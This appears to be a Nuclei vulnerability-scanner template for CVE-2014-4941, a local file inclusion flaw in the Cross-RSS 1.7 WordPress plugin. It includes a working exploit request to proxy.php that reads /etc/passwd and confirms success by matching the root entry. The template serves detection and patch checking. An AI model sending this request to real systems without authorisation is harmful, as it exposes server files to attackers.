id: CVE-2014-4941

info:
  name: Cross RSS 1.7 - Local File Inclusion
  author: DhiyaneshDK
  severity: medium
  description: |
    Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability.
  reference:
    - https://wordpress.org/plugins/cross-rss/
    - https://codevigilant.com/disclosure/wp-plugin-cross-rss-local-file-inclusion/
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4941
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4941
    cwe-id: CWE-22
    epss-score: 0.04306
    epss-percentile: 0.90177
    cpe: cpe:2.3:a:cross-rss_plugin_project:wp-cross-rss:1.7:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cross-rss_plugin_project
    product: wp-cross-rss
    framework: wordpress
  tags: cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/cross-rss/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220620b1e43efc1d56531bbac1b9056c648167594b82ba3bf78da838041c5d4fb03022100d51ba6f9cd89305f2cb11eba298413bc2866b90724676591ca9d29a490bb93cd:922c64590222798bb761d5b6d8e72950